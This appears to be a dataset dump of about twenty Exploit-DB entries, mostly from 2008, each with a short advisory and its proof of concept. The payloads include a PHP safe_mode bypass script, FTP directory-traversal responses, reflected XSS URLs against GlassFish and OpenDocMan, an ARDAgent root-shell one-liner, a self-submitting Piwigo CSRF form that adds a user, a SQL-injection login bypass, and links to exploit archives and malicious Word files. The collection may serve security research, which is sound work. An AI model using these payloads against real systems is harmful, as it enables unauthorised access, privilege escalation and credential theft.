QLWD/code_shield huggingface dataset:
标题: PHP 5.2.6 - 'chdir()' Function http URL Argument Safe_mode Restriction Bypass EDB-ID: 31937 CVE: 2008-2666 类型: LOCAL 平台: PHP 发布日期: 2008-06-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/29796/info

PHP is prone to multiple 'safe_mode' restriction-bypass vulnerabilities. Successful exploits could allow an attacker to determine the presence of files in unauthorized locations; other attacks are also possible.

Exploiting these issues allows attackers to obtain sensitive data that could be used in other attacks.

These vulnerabilities would be an issue in shared-hosting configurations where multiple users can create and execute arbitrary PHP script code; in such cases, the 'safe_mode' restriction is expected to isolate users from each other.

PHP 5.2.6 is vulnerable; other versions may also be affected. 

cxib# cat /www/wufff.php
<?
echo getcwd()."\n";
chdir("/etc/");
echo getcwd()."\n";
?>
cxib# ls -la /www/wufff.php
-rw-r--r--  1 www  www  62 Jun 17 17:14 /www/wufff.php
cxib# php /www/wufff.php
/www

Warning: chdir(): SAFE MODE Restriction in effect.  The script whose uid
is 80 is not allowed to access /etc/ owned by uid 0 in /www/wufff.php on
line 3
/www
cxib#
---/EXAMPLE1---

---EXAMPLE2---
cxib# ls -la /www/wufff.php
-rw-r--r--  1 www  www  74 Jun 17 17:13 /www/wufff.php
cxib# ls -la /www/http:
total 8
drwxr-xr-x   2 www  www   512 Jun 17 17:12 .
drwxr-xr-x  19 www  www  4608 Jun 17 17:13 ..
cxib# cat /www/wufff.php
<?
echo getcwd()."\n";
chdir("http://../../etc/");
echo getcwd()."\n";
?>
cxib# php /www/wufff.php
/www
/etc
cxib# URL: https://www.exploit-db.com/exploits/31937
标题: Classic FTP 1.02 - 'LIST' Directory Traversal EDB-ID: 31942 CVE: 2008-2894 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-06-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/29846/info

Classic FTP is prone to a directory-traversal vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploiting this issue allows an attacker to write arbitrary files to locations outside of the application's current directory. This could help the attacker launch further attacks.

Classic FTP 1.02 for Microsoft Windows is vulnerable; other versions may also be affected. 

Response to LIST:

\..\..\..\..\..\..\..\..\..\testfile.txt\r\n
/../../../../../../../../../testfile.txt\r\n URL: https://www.exploit-db.com/exploits/31942
标题: OpenDocMan 1.x - 'out.php' Cross-Site Scripting EDB-ID: 31933 CVE: 2008-2787 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/29765/info

OpenDocMan is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

OpenDocMan 1.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/opendocman-1.2.5/out.php?last_message=%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/31933
标题: Apple Mac OSX 10.x - Applescript ARDAgent Shell Privilege Escalation EDB-ID: 31940 CVE: 2008-2830 类型: LOCAL 平台: OSX 发布日期: 2008-06-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/29831/info

Mac OS X is prone to a local privilege-escalation vulnerability affecting ARDAgent (Apple Remote Desktop).

Successful exploits allow local attackers to execute arbitrary code with superuser privileges, completely compromising the affected computer.

This issue is confirmed to affect Mac OS X 10.5 versions; earlier versions may also be vulnerable. 

osascript -e 'tell app "ARDAgent" to do shell script "whoami"'; URL: https://www.exploit-db.com/exploits/31940
标题: UltraEdit 14.00b - FTP/SFTP 'LIST' Directory Traversal EDB-ID: 31936 CVE: 2008-2795 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-06-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/29784/info

UltraEdit is prone to a directory-traversal vulnerability because the application fails to sufficiently sanitize user-supplied input. This issue occurs in the FTP/SFTP client.

Exploiting this issue will allow an attacker to write arbitrary files to locations outside of the application's current directory. This could help the attacker launch further attacks.

UltraEdit 14.00b is vulnerable; other versions may also be affected. 

Response to LIST (backslash):

\..\..\..\..\..\..\..\..\..\testfile.txt\r\n

Response to LIST (forward-slash):
/../../../../../../../../../testfile.txt\r\n

Response to LIST (backslash and forward-slash):
../..\/..\/..\/../..\/../..\/../testfile.txt\r\n URL: https://www.exploit-db.com/exploits/31936
标题: Skulltag 0.97 d2-RC3 - Malformed Packet Denial of Service EDB-ID: 31932 CVE: 2008-2748 类型: DOS 平台: MULTIPLE 发布日期: 2008-06-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/29760/info

Skulltag is prone to a vulnerability that can cause denial-of-service conditions.

A successful attack will deny service to legitimate users.

Skulltag 0.97d2-RC3 is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31932.zip URL: https://www.exploit-db.com/exploits/31932
标题: Microsoft Word 2000/2002 - Bulleted List Handling Remote Memory Corruption EDB-ID: 31934 CVE: 2008-2752 类型: DOS 平台: WINDOWS 发布日期: 2008-06-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/29769/info

Microsoft Word is prone to a remote memory-corruption vulnerability.

An attacker could exploit this issue by enticing a victim to open and interact with malicious Word files.

Successfully exploiting this issue will corrupt memory and crash the application. Given the nature of this issue, attackers may also be able to execute arbitrary code in the context of the currently logged-in user. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31934-1.doc
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31934-2.doc
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31934-3.doc
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31934-4.doc URL: https://www.exploit-db.com/exploits/31934
标题: GlassFish Application Server - '/resourceNode/customResourceNew.jsf' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31922 CVE: 2008-2751 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-06-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/29751/info

Sun Glassfish is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://[HOSTNAME]:4848/resourceNode/customResourceNew.jsf?propertyForm%3Aproper
tyContentPage%3AtopButtons%3AnewButton=++OK++&propertyForm%3ApropertyContentPage
%3ApropertySheet%3ApropertSectionTextField%3AjndiProp%3AJndiNew=%3Cscript%3Ealer
t%28%27xss%27%29%3B%3C%2Fscript%3E&propertyForm%3ApropertyContentPage%3Aproperty
Sheet%3ApropertSectionTextField%3AresTypeProp%3AresType=%3Cscript%3Ealert%28%27x
ss%27%29%3B%3C%2Fscript%3E&propertyForm%3ApropertyContentPage%3ApropertySheet%3A
propertSectionTextField%3AfactoryClassProp%3AfactoryClass=%3Cscript%3Ealert%28%2
7xss%27%29%3B%3C%2Fscript%3E&propertyForm%3ApropertyContentPage%3ApropertySheet%
3ApropertSectionTextField%3AdescProp%3Adesc=%3Cscript%3Ealert%28%27xss%27%29%3B%
3C%2Fscript%3E&propertyForm%3ApropertyContentPage%3ApropertySheet%3ApropertSecti
onTextField%3AstatusProp%3Asun_checkbox9=true&propertyForm%3AhelpKey=customresou
rcescreate.html&propertyForm_hidden=propertyForm_hidden&javax.faces.ViewState=j_
id276%3Aj_id282&com_sun_webui_util_FocusManager_focusElementId=propertyForm%3Apr
opertyContentPage%3AtopButtons%3AnewButton URL: https://www.exploit-db.com/exploits/31922
标题: GlassFish Application Server - '/Applications/lifecycleModulesNew.jsf' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31927 CVE: 2008-2751 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-06-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/29751/info
     
Sun Glassfish is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
     
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
     
http://[HOSTNAME]:4848/applications/lifecycleModulesNew.jsf?propertyForm%3Aprope
rtyContentPage%3ApropertySheet%3ApropertSectionTextField%3AnameProp%3Aname=<scri
pt>alert('xss');</script>&propertyForm%3ApropertyContentPage%3ApropertySheet%3Ap
ropertSectionTextField%3AclassNameProp%3Aclassname=<script>alert('xss2');</scrip
t>&propertyForm%3ApropertyContentPage%3ApropertySheet%3ApropertSectionTextField%
3ApathProp%3AclassPath=&propertyForm%3ApropertyContentPage%3ApropertySheet%3Apro
pertSectionTextField%3AloadOrderProp%3AloadOrder=<script>alert('xss3');</script>
&propertyForm%3ApropertyContentPage%3ApropertySheet%3ApropertSectionTextField%3A
descProp%3Adesc=&propertyForm%3ApropertyContentPage%3ApropertySheet%3ApropertSec
tionTextField%3AstatusProp%3Asun_checkbox8=true&propertyForm%3ApropertyContentPa
ge%3AbottomButtons%3AsaveButton2=++OK++&propertyForm%3AhelpKey=lifecyclemodules.
html&propertyForm_hidden=propertyForm_hidden&javax.faces.ViewState=j_id117%3Aj_i
d125&com_sun_webui_util_FocusManager_focusElementId=propertyForm%3ApropertyConte
ntPage%3AbottomButtons%3AsaveButton2 URL: https://www.exploit-db.com/exploits/31927
标题: GlassFish Application Server - '/resourceNode/jmsConnectionNew.jsf' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31925 CVE: 2008-2751 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-06-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/29751/info
   
Sun Glassfish is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
   
http://[HOSTNAME]:4848/resourceNode/jmsConnectionNew.jsf?propertyForm%3Aproperty
ContentPage%3AtopButtons%3AnewButton=++OK++&propertyForm%3ApropertySheet%3Agener
alPropertySheet%3AjndiProp%3AJndi=%3Cscript%3Ealert%28%27xss%27%29%3B%3C%2Fscrip
t%3E&propertyForm%3ApropertySheet%3AgeneralPropertySheet%3AresTypeProp%3AresType
=javax.jms.TopicConnectionFactory&propertyForm%3ApropertySheet%3AgeneralProperty
Sheet%3AdescProp%3Acd=%3Cscript%3Ealert%28%27xss2%27%29%3B%3C%2Fscript%3E&proper
tyForm%3ApropertySheet%3AgeneralPropertySheet%3AstatusProp%3Asun_checkbox9=true&
propertyForm%3ApropertySheet%3ApoolSettingsPropertySheet%3AinitSizeProp%3Ads=8&p
ropertyForm%3ApropertySheet%3ApoolSettingsPropertySheet%3AmaxProp%3Ads2=32&prope
rtyForm%3ApropertySheet%3ApoolSettingsPropertySheet%3AresizeProp%3Ads3=2&propert
yForm%3ApropertySheet%3ApoolSettingsPropertySheet%3AidleProp%3Ads=300&propertyFo
rm%3ApropertySheet%3ApoolSettingsPropertySheet%3AmaxWaitProp%3Ads=60000&property
Form%3ApropertySheet%3ApoolSettingsPropertySheet%3Atransprop%3Atrans=&propertyFo
rm%3AbasicTable%3ArowGroup1%3A0%3Acol2%3Acol1St=Password&propertyForm%3AbasicTab
le%3ArowGroup1%3A0%3Acol3%3Acol1St=guest&propertyForm%3AbasicTable%3ArowGroup1%3
A1%3Acol2%3Acol1St=UserName&propertyForm%3AbasicTable%3ArowGroup1%3A1%3Acol3%3Ac
ol1St=guest&propertyForm%3AhelpKey=jmsconnectionnew.html&propertyForm_hidden=pro
pertyForm_hidden&javax.faces.ViewState=j_id226%3Aj_id234&com_sun_webui_util_Focu
sManager_focusElementId=propertyForm%3ApropertyContentPage%3AtopButtons% URL: https://www.exploit-db.com/exploits/31925
标题: GlassFish Application Server - '/resourceNode/jdbcResourceNew.jsf' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31926 CVE: 2008-2751 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-06-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/29751/info
    
Sun Glassfish is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
    
http://[HOSTNAME]:4848/resourceNode/jdbcResourceNew.jsf?propertyForm%3ApropertyC
ontentPage%3AtopButtons%3AnewButton=++OK++&propertyForm%3ApropertySheet%3Aproper
tSectionTextField%3AjndiProp%3Ajnditext=<script>alert('xss');</script>&propertyF
orm%3ApropertySheet%3ApropertSectionTextField%3ApoolNameProp%3APoolName=__CallFl
owPool&propertyForm%3ApropertySheet%3ApropertSectionTextField%3AdescProp%3Adesc=
<script>alert('xss3');</script>&propertyForm%3ApropertySheet%3ApropertSectionTex
tField%3AstatusProp%3Asun_checkbox9=true&propertyForm%3AhelpKey=jdbcresourcenew.
html&propertyForm_hidden=propertyForm_hidden&javax.faces.ViewState=j_id185%3Aj_i
d201&com_sun_webui_util_FocusManager_focusElementId=propertyForm%3ApropertyConte
ntPage%3AtopButtons%3AnewButton URL: https://www.exploit-db.com/exploits/31926
标题: GlassFish Application Server - '/resourceNode/jdbcConnectionPoolNew1.jsf' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31928 CVE: 2008-2751 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-06-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/29751/info
      
Sun Glassfish is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
      
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://[HOSTNAME]:4848/resourceNode/jdbcConnectionPoolNew1.jsf?propertyForm%3Apr
opertyContentPage%3AtopButtons%3AnextButton=+Next+&propertyForm%3ApropertyConten
tPage%3ApropertySheet%3AgeneralPropertySheet%3AjndiProp%3Aname=<script>alert('xs
s')</script>&propertyForm%3ApropertyContentPage%3ApropertySheet%3AgeneralPropert
ySheet%3AresTypeProp%3AresType=<script>alert('xss2');</script>&propertyForm%3Apr
opertyContentPage%3ApropertySheet%3AgeneralPropertySheet%3AdbProp%3Adb=<script>a
lert('xss3');</script>&propertyForm%3AhelpKey=jdbcconnectionpoolnew1.html&proper
tyForm_hidden=propertyForm_hidden&javax.faces.ViewState=j_id7%3Aj_id34&com_sun_w
ebui_util_FocusManager_focusElementId=propertyForm%3ApropertyContentPage%3AtopBu
ttons%3AnextButton URL: https://www.exploit-db.com/exploits/31928
标题: GlassFish Application Server - '/resourceNode/externalResourceNew.jsf' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31923 CVE: 2008-2751 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-06-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/29751/info
 
Sun Glassfish is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
http://[HOSTNAME]:4848/resourceNode/externalResourceNew.jsf?propertyForm%3Aprope
rtyContentPage%3AtopButtons%3AnewButton=++OK++&propertyForm%3ApropertyContentPag
e%3ApropertySheet%3ApropertSectionTextField%3AjndiProp%3AJndiNew=%3Cscript%3Eale
rt%28%27xss%27%29%3B%3C%2Fscript%3E&propertyForm%3ApropertyContentPage%3Apropert
ySheet%3ApropertSectionTextField%3AresTypeProp%3AresType=%3Cscript%3Ealert%28%27
xss%27%29%3B%3C%2Fscript%3E&propertyForm%3ApropertyContentPage%3ApropertySheet%3
ApropertSectionTextField%3AfactoryClassProp%3AfactoryClass=%3Cscript%3Ealert%28%
27xss%27%29%3B%3C%2Fscript%3E&propertyForm%3ApropertyContentPage%3ApropertySheet
%3ApropertSectionTextField%3AjndiLookupProp%3AjndiLookup=%3Cscript%3Ealert%28%27
xss%27%29%3B%3C%2Fscript%3E&propertyForm%3ApropertyContentPage%3ApropertySheet%3
ApropertSectionTextField%3AdescProp%3Adesc=%3Cscript%3Ealert%28%27xss%27%29%3B%3
C%2Fscript%3E&propertyForm%3ApropertyContentPage%3ApropertySheet%3ApropertSectio
nTextField%3AstatusProp%3Asun_checkbox9=true&propertyForm%3ApropertyContentPage%
3AhelpKey=externalresourcescreate.html&propertyForm_hidden=propertyForm_hidden&j
avax.faces.ViewState=j_id289%3Aj_id293&com_sun_webui_util_FocusManager_focusElem
entId=propertyForm%3ApropertyContentPage%3AtopButtons%3AnewButton URL: https://www.exploit-db.com/exploits/31923
标题: Crysis 1.21 - 'keyexchange' Packet Information Disclosure EDB-ID: 31918 CVE: 2008-6737 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-06-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/29720/info

Crysis is prone to an information-disclosure vulnerability caused by a design error.

Attackers can exploit this issue to obtain sensitive information that may lead to further attacks.

Crysis 1.21 and prior versions are affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31918.zip URL: https://www.exploit-db.com/exploits/31918
标题: Piwigo 2.6.1 - Cross-Site Request Forgery EDB-ID: 31916 CVE: 2014-4613 类型: WEBAPPS 平台: PHP 发布日期: 2014-02-26 漏洞利用脚本: # Exploit Title: piwigo 2.6.1 - CSRF
# Date: 26/02/2014
# Exploit Author: killall-9@mail.com
# Vendor Homepage: http://it.piwigo.org/
# Software Link: http://it.piwigo.org/basics/downloads
# Version: 2.6.1
# Tested on: Virtualbox debian

A CSRF problem is present in the administration panel.
Here it is a POF according to a derived POST:

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'>
<html lang="en">
<head>
<title>Piwigo 2.6.1</title>
</head>
<body>
<form action="http://localhost/piwigo/ws.php?format=json&method=pwg.users.add http://localhost/piwigo/ws.php?format=json&method=pwg.users.add&lang=en " id="formid" method="post">
<input name="username" value="utente" />
<input name="password" value="utente" />
<input name="email" value="utente@gmail.com http://service.mail.com/callgate-6.73.1.0/rms/6.73.1.0/mail/getBody?folderId=1&messageId=OTg2SQZUNUQ2Occvtn5u651INxBSYcL4&purpose=display&bodyType=html# "/>

</form>
<script>
document.getElementById('formid').submit();
</script>
</body>
</html>

So you can add a new arbitrary user.


cheerz°°°° URL: https://www.exploit-db.com/exploits/31916
标题: 3D-FTP 8.01 - 'LIST' / 'MLSD' Directory Traversal EDB-ID: 31921 CVE: 2008-2822 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-06-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/29749/info

3D-FTP is prone to multiple directory-traversal vulnerabilities because it fails to sufficiently sanitize user-supplied input data.

Exploiting these issues allows an attacker to write arbitrary files to locations outside of the FTP client's current directory. This could help the attacker launch further attacks.

3D-FTP 8.01 is vulnerable; other versions may also be affected. 

The following example responses are available:
Response to LIST (backslash):
-rw-r--r-- 1 ftp ftp 20 Mar 01 05:37 \..\..\..\..\..\..\..\..\..\testfile.txt\r\n

Response to LIST (forward-slash):
-rw-r--r-- 1 ftp ftp 20 Mar 01 05:37 /../../../../../../../../../testfile.txt\r\n

Response to LIST (combination):
-rw-r--r-- 1 ftp ftp 20 Mar 01 05:37 ../..\/..\/..\/../..\/../..\/../testfile.txt\r\n

Response to MLSD (backslash):
type=file;modify=20080227074710;size=20; \..\..\..\..\..\..\..\..\..\testfile.txt\r\n

Response to MLSD (forward-slash):
type=file;modify=20080227074710;size=20; /../../../../../../../../../testfile.txt\r\n

Response to MLSD (combination):
type=file;modify=20080227074710;size=20; ../..\/..\/..\/../..\/../..\/../testfile.txt\r\n URL: https://www.exploit-db.com/exploits/31921
标题: Glub Tech Secure FTP 2.5.15 - 'LIST' Directory Traversal EDB-ID: 31920 CVE: 2008-2821 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-06-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/29741/info

Glub Tech Secure FTP is prone to a directory-traversal vulnerability because the application fails to sufficiently sanitize user-supplied input. This issue occurs in the FTP client.

Exploiting these issues will allow an attacker to write arbitrary files to locations outside of the application's current directory. This could help the attacker launch further attacks.

Secure FTP 2.5.15 for Microsoft Windows is vulnerable; other versions may also be affected.

Response to LIST:

\..\..\..\..\..\..\..\..\..\testfile.txt\r\n URL: https://www.exploit-db.com/exploits/31920
标题: GlassFish Application Server - '/resourceNode/jmsDestinationNew.jsf' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31924 CVE: 2008-2751 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-06-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/29751/info
  
Sun Glassfish is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
http://[HOSTNAME]:4848/resourceNode/jmsDestinationNew.jsf?propertyForm%3Apropert
yContentPage%3AtopButtons%3AnewButton=++OK++&propertyForm%3ApropertySheet%3Aprop
ertSectionTextField%3AjndiProp%3AJndi=%3Cscript%3Ealert%28%27xss%27%29%3B%3C%2Fs
cript%3E&propertyForm%3ApropertySheet%3ApropertSectionTextField%3AnameProp%3Anam
e=%3Cscript%3Ealert%28%27xss%27%29%3B%3C%2Fscript%3E&propertyForm%3ApropertyShee
t%3ApropertSectionTextField%3AresTypeProp%3AresType=javax.jms.Topic&propertyForm
%3ApropertySheet%3ApropertSectionTextField%3AdescProp%3Adesc=%3Cscript%3Ealert%2
8%27xss%27%29%3B%3C%2Fscript%3E&propertyForm%3ApropertySheet%3ApropertSectionTex
tField%3AstatusProp%3Acb=true&propertyForm%3AbasicTable%3ArowGroup1%3A0%3Acol2%3
Acol1St=Description&propertyForm%3AbasicTable%3ArowGroup1%3A0%3Acol3%3Acol1St=&p
ropertyForm%3AhelpKey=jmsdestinationnew.html%09&propertyForm_hidden=propertyForm
_hidden&javax.faces.ViewState=j_id242%3Aj_id246&com_sun_webui_util_FocusManager_
focusElementId=propertyForm%3ApropertyContentPage%3AtopButtons%3AnewButton URL: https://www.exploit-db.com/exploits/31924
标题: PHPEasyData 1.5.4 - '/admin/login.php?Username' SQL Injection EDB-ID: 31905 CVE: 2008-2995 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/29659/info
 
PHPEasyData is prone to multiple SQL-injection and cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage the cross-site scripting issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Attackers may exploit the SQL-injection issues to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
PHPEasyData 1.5.4 is vulnerable; other versions may also be affected.

-admin/login.php
Due to a lack of sanitization of the user input in admin/login.php we can easily get an access to the admin control panel with the login:
&#039; or 1=1-- /** URL: https://www.exploit-db.com/exploits/31905
标题: GSC Client 1.00 2067 - Privilege Escalation EDB-ID: 31912 CVE: 2008-7170 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-06-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/29718/info

GSC Client is prone to a privilege-escalation vulnerability because it fails to sufficiently validate administrator credentials.

An attacker can exploit this vulnerability to perform unauthorized administrative actions; other attacks are also possible.

GSC Client 1.00 2067 is vulnerable; other versions may also be affected.

NOTICE <user> :KICK <channel id> :<kick message> URL: https://www.exploit-db.com/exploits/31912